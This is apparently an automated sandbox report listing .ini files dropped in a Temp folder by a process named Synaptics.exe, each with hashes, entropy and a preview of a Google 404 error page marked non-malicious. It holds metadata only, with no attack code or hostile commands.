Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A4JdtVg16fEJrLfRzfMX6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TYa44lO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.285636319488345
Encrypted:	false
SSDEEP:	24:GgsF+0o2SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l2+pAZewRDK4mW
MD5:	9832DFE576D0D4180EA393F614309388
SHA1:	C48D6BA622EEE62ED342E7070171BEC32AAFE401
SHA-256:	BB3B45F6A389309D9E3FDE924654D3225D65829B709C16C6B24F4F5235FD9EA4
SHA-512:	F897CDE7561F8C66D88CBCB695261ED96765492B6D365836E78864285149BBDA1D3E69D1F5EE402E4278449903CED38E02647B0EAD4037D04FBD3D98EEEF02EF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gX3ZEJSZSNIO55v8MzOUCQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UHOO8lr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249884832315509
Encrypted:	false
SSDEEP:	24:GgsF+0kLSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+FL+pAZewRDK4mW
MD5:	D32F3571157D7C973F1F44952E540D75
SHA1:	DC3A07344F6BF0291E1300F20D43885269609112
SHA-256:	F56EB70C88DCDA8EC6B7DD966C96EE812EFFC14DC0B10565F2A0BF716F4C3BE6
SHA-512:	D8BEF7D9CBAB17C56297FCB30E76379B0F064D95CDB95323C63C482B4D7708A67324B8D94EF15802B61159A1F2F92E705E58025BB8AD8ACB102C34538A74EAA2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y5xk0ll4KuybCP0uC0UdXg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UfjzdIP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267814295111632
Encrypted:	false
SSDEEP:	24:GgsF+0IdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	09D13F3C5E213EA3ED8A9F73087CE09A
SHA1:	AE27EE11706949C0B6E22EFCA5A938D1AC2745B8
SHA-256:	115A4D8D120EE304EA8916072CA3AB8B037A0343B46444740C344298655D7669
SHA-512:	86C495A860F8B28221EB1AC0209EE1EF8CD17D690D557AFC3F5DAE7CAE87B49A8A643578D6A97B893ACA44D89BE11C4F2BD59678CA484ACEAF45AE32A694AB66
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="q8vxL2fmPdJQDu00zcM9CA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VLg8rRA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257279393071561
Encrypted:	false
SSDEEP:	24:GgsF+0pSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a+pAZewRDK4mW
MD5:	FECBDDD0EE16BE946B69F7C600B1B823
SHA1:	E92D1540C13C649C34D8096569EE8063EA1DF9ED
SHA-256:	0F71B3CF3BE9F9F4FDD2EF683949F519D3C7D068294D41D2BEB7A935503EFDE5
SHA-512:	30896EB6D64672CADBF37A6B82A7D7604ABA9AB91FB6CE192A828E16DAEC9C8AB8C8BCB98C7812427E3B97841019C75FBC9A1DF8239C2B6544EDE4FEADCFB8C0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="H8sovhxauYrqULWzZeNegA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VRCU22s.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265999833083214
Encrypted:	false
SSDEEP:	24:GgsF+0QGmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	E952DAB05E0C222182CAFC40BFAC644E
SHA1:	6A1CB32177FB7A56A376E0946B3FE20D11BB3B15
SHA-256:	A5942FDE0FC19A978D45FEA48D59F1D1DE077D384841DC134FA41A3B77B941A9
SHA-512:	432F183198C4D7E08915C719DE0DC2457A31CD0FA06BB7564EFA93A7D85DFD3A2F965345D398271292CE8CF4A50DFBB032DE82CD5CC5EC86F12A3FDD3C4844C3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KQS9xiTgdLecWHZc9dSYyA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VdcOPsK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266521003219632
Encrypted:	false
SSDEEP:	24:GgsF+0vSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	9C2612180FEE8CF6919BC1E3CA549947
SHA1:	71BA2B2C3F870BF237F8DD85ADE0333B5E0902F5
SHA-256:	AD4376E5A561BEBA7BD8AF188244C5107A9D457FD4DAAC0378E4CC1E72C7EEBE
SHA-512:	CFD90B8C2C93D92EB002029E443A41C6E3D71EC330FBCB4FB9FE0B16E73FE0746DB6DD74E9AEA0BD046F8C71B6AD458E7CC5C951C8844617B3DFE68BB9793DCC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Xm-9c0TjW8oY8EZTzDJ7dg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Vny3MSe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254154358146396
Encrypted:	false
SSDEEP:	24:GgsF+0xSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	8B3A56EE084E28D7FB9E35AF36BA307B
SHA1:	EBFC4FF05A0D67A0DAE52E8D10B67A27CA026375
SHA-256:	1F0990F8EBFEAE137545EEB2F9F5CA8BA81B1FEF0C4D06C3106428E01A33AD0A
SHA-512:	DB12DFE820A01C476A4BF5DAD23678A89F4C7AD44C442A3A9AA9F448E8B659A471ABF51A61B52F2A0EE674CE752BADFCB62D160378952C01632CF9E8FE1731F6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lUcR5IGAfAeoL7avqooHqw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WOU8zS1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270172197375029
Encrypted:	false
SSDEEP:	24:GgsF+0BwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++w+pAZewRDK4mW
MD5:	1CF1E4490DE358125B5A7D44A1A23E09
SHA1:	100B217318EC78229F08C51B9538207875986823
SHA-256:	2F52B7F0306CFFFA7EC17D29A00842FBE5E2E3470F798AA25C0B7D4230C8AA5B
SHA-512:	F87B6F4EA2AB15CBD2B36EC7A17A86DC5083B568EAEC21780FDD8563ED7360B76591C31F548948E8888472E648F9DE01E08039D256A8C6DD24E78C2D586C1928
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6MAA2_VMUCT9BshHfyctAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Wk5LW7Y.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275207838051863
Encrypted:	false
SSDEEP:	24:GgsF+0T2ADSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+yD+pAZewRDK4mW
MD5:	38E9FF8EB51FCFED1529E6934816922B
SHA1:	7E4D765B741DC7625326E528CDCE7CA27C503F69
SHA-256:	1D62940630D51906376FDBA5E23A61ED3EF1125937B2392E1355EEE85D30BACD
SHA-512:	896696F9E26AE249757E48550939E1F2A9A0104704F331B33B4846D88C429AA74004DEDE7615628DB93A4B31E644A9B8E1D29DA8BEE0A521A2282629E54028A3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Nyf5ZQIRZi682HDNJKq7gw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WkxULME.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2704047815081045
Encrypted:	false
SSDEEP:	24:GgsF+0VtSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ut+pAZewRDK4mW
MD5:	EFE22BC8ECA08CF86B242E410AC0FB98
SHA1:	187C034B36B58767DAF900D47102F98FC486378E
SHA-256:	933308746B4498F163D4AE4BDEAE19088A8635BE3DE56D203AA920673D9BBDBB
SHA-512:	F38ECEB47182DE85C89F2269B79254BAAA99222A94E2C11A0E28497E75E75010F797E866F05032864E84DC36D552680F610CE6391DED0B190079923D5DE0FD8A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7MvSTilsN_SKaCY4dPB4RQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WtLeqKb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268277068509046
Encrypted:	false
SSDEEP:	24:GgsF+0eSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	18392E1BE13908B2FDE42B0587F9059F
SHA1:	82081F401E016EF10B44B7F2832946DFDCFB0429
SHA-256:	E3107872FB969284041F6F2DAC61436C0308255E284699A1A63C0E4B89C89F2B
SHA-512:	AB815EA4A4DFEAFF8D19B8E87962D07CA094AE0BC82C1EB539694964BFBD8694B8BF9604EB5D410B3DF573AF42BAD4E94E56AAC5AD58191C07563C0D6A98DC98
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wly5gtGj3INRgWXyC86qJw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ww7OMnx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271582114375516
Encrypted:	false
SSDEEP:	24:GgsF+0TNzDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8zD+pAZewRDK4mW
MD5:	E0A26765C0F1CC509483DA15C81EEDFB
SHA1:	ADD2784AC37FBAEAB0FFB15587AFA6452FA9160E
SHA-256:	AD92BF1013F463B631A16005962A0C8CD31C867D7769E0DF20954C7D5B9B3B78
SHA-512:	FDE9074BD84447BDE661C13E2A13603F0750F4ED904C82AF721D2704D6F381B840F5BD271DE079E2C558991C9A182E7C8263CC1B495C1A10D25DACF674C49B0A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lyzKXfjS9gIQvr9vPnXWpA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XrGXdmF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261540840613055
Encrypted:	false
SSDEEP:	24:GgsF+0CBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	7EAC2A6D8E422355F556F022717FBCE4
SHA1:	2688002F9738104587B83B2EE98D7927A45AE67F
SHA-256:	04EA32564B8B74008DE312108847345D95DA6039B224DCC7EA107292BD549ACA
SHA-512:	C6F78524350A8720FC0C1F3FBF3CF27F84962A7B7628DAA1385E264330F256F880C207CFA0A5ADC53AA6B0FD6B23115346A7E67397D74149E5422BC83EC6BC56
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kvsREUI-RiJCo_4KQeH50w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YEEGAu3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262653694693528
Encrypted:	false
SSDEEP:	24:GgsF+0s7SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z7+pAZewRDK4mW
MD5:	5F5E2B524FF66B07301BC5A7808712EC
SHA1:	719BFDDF9D89875BA00642CFF76A5E69E8631021
SHA-256:	EFBCDA92629D496888857FFB6B853222D0D3C5447F0327F165D95989ECB9EAE0
SHA-512:	72EA5CCCE8CB1FA58D7298DBFE805A2D26EFA1EAF8B47D6DF47C22C475165DD582BD76BE8270DB278C30D7891E28D79662E63650FB1A4E8A4963C884BE8B7E70
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8KUtiAcU42ww_DdAjbPZbA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YkhFaF7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25725868175045
Encrypted:	false
SSDEEP:	24:GgsF+01PSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	E543B9FDC438B4839A280AF142E5835E
SHA1:	6BC6C803F699B0BCAB801020439C897F3BEA4337
SHA-256:	0B09625B84EA3C5F80A84766D8327E96083057D03AECD68B11A6A9E64012CE89
SHA-512:	6D3BC1997F4000790036963C25EA03A47B01E1189626C140F86D71752B82D46A22D974765DF32FF9141F79AFD270CF99EF954D95BFDA80A26D1CC0E3E5D11733
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nSRM0ocxqDyBnGgxL-_92Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YnZi712.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259160507603607
Encrypted:	false
SSDEEP:	24:GgsF+0EzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fz+pAZewRDK4mW
MD5:	CD932D9526B5982F174B1EE7B8B79001
SHA1:	7C9B4D79010BDCC93D1F801EFEAD3772E8A4ABD6
SHA-256:	06C365A9A434676526C68A50EB3F38C16E381018029193BDCB5905653FB79B25
SHA-512:	47B6D1BA20DCEBDB67A896380B2638C0AA6A34EBC0165C6E33EA1E884801BDF70DB585706B5DA7D95E3C61CF975D2E19C534B4BF9E59AC72DA777B72FE96B3C4
Malicious:	false
